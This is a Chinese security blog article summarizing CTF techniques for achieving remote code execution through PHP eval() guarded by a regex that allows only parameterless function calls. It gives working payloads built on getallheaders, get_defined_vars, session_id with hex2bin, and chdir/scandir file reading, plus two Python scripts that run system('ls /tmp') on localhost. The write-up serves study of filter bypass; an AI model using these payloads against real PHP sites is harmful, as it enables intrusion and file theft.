PHP Parametric Function RCE - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

PHP Parametric Function RCE

一叶飘零 web安全 2019-04-04 10:00:54
255802
收藏

导语:最近做了一些php无参数函数执行的题目,这里做一个总结,以便以后bypass各种正则过滤。

前言

最近做了一些php无参数函数执行的题目,这里做一个总结,以便以后bypass各种正则过滤。

大致思路如下:

1.利用超全局变量进行bypass,进行RCE

2.进行任意文件读取

什么是无参数函数RCE

传统意义上,如果我们有:

eval($_GET['code']);

即代表我们拥有了“一句话木马”,可以进行getshell,例如:

2019-03-29-13-00-08.png

但是如果有如下限制:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

我们会发现我们使用参数则无法通过以下正则的校验:

/[^\W]+\((?R)?\)/

而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数:

a(b(c()));
a();

但不允许如下格式:

a('123');

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。

而本篇文章旨在bypass这种限制,并做出一些更苛刻条件的Bypass。

法1:getenv()

查阅php手册,有非常多的超全局变量:

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我们可以使用:

$_ENV

对应函数为:

getenv()[object Object]

虽然getenv()可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题。

这里可以使用方法:

2019-03-29-13-47-19.png

效果如下:2019-03-29-13-46-53.png

但是我不想要下标,我想要数组的值,那么我们可以使用:

2019-03-29-13-47-44.png

两者结合使用即可有如下效果:

2019-03-29-13-47-02.png

我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数。

法二:getallheaders()

之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可。

在apache2环境下,我们有函数getallheaders()可返回。

我们可以看一下返回值:

array(8) { 
    ["Host"]=> string(14) "106.14.114.127" 
    ["Connection"]=> string(10) "keep-alive" 
    ["Cache-Control"]=> string(9) "max-age=0" 
    ["Upgrade-Insecure-Requests"]=> string(1) "1" 
    ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" 
    ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
     ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" 
}

我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如:

2019-03-29-13-14-31.png

此时我们再将结果中的恶意命令取出:

var_dump(end(getallheaders()));

2019-03-29-13-15-44.png

这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass无参数函数执行。

例如:

2019-03-29-13-17-09.png

那么可以进一步利用http header的sky属性进行rce。

2019-03-29-13-17-52.png

法三:get_defined_vars()

使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?

这里我们可以使用get_defined_vars(),首先看一下它的回显。

2019-03-29-13-20-36.png

发现其可以回显全局变量有如下几种:

$_GET
$_POST
$_FILES
$_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如:

2019-03-29-13-22-28.png

还是和之前的思路一样,将恶意参数取出。

2019-03-29-13-23-25.png

发现可以成功RCE。

但一般网站喜欢对如下超全局变量做全局过滤:

$_GET
$_POST
$_COOKIE

所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传:

2019-03-29-13-30-34.png

可以发现空格会被替换成下划线 _ ,为防止干扰我们用hex编码进行RCE。

2019-03-29-13-31-48.png

最终脚本如下:

import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content

法四:session_id()

之前我们使用$_FILES下手,其实这里还能从$_COOKIE下手,我们有函数:

2019-03-29-13-34-09.png

可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin。

脚本如下:

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

即可达成RCE和bypass的目的。

法五:dirname() & chdir()

为什么一定要RCE呢?我们能不能直接读文件?

之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?

那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以利用getcwd()获取当前目录:

?code=var_dump(getcwd());
string(13) "/var/www/html"

那么怎么进行当前目录的目录遍历呢?

这里用scandir()即可:

?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?

我们用dirname()即可:

?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool

将 PHP 的当前目录改为 directory。

所以我们这里在dirname(getcwd())进行如下设置:

chdir(dirname(getcwd()))

我们尝试读取/var/www/123文件,使用如下payload:

http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可进行文件读取。

后记

php无参数函数RCE的方式有很多种,主要还是考察对php函数的熟练程度。我相信应该还有更多的方式没有挖掘出来,期待讨论。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务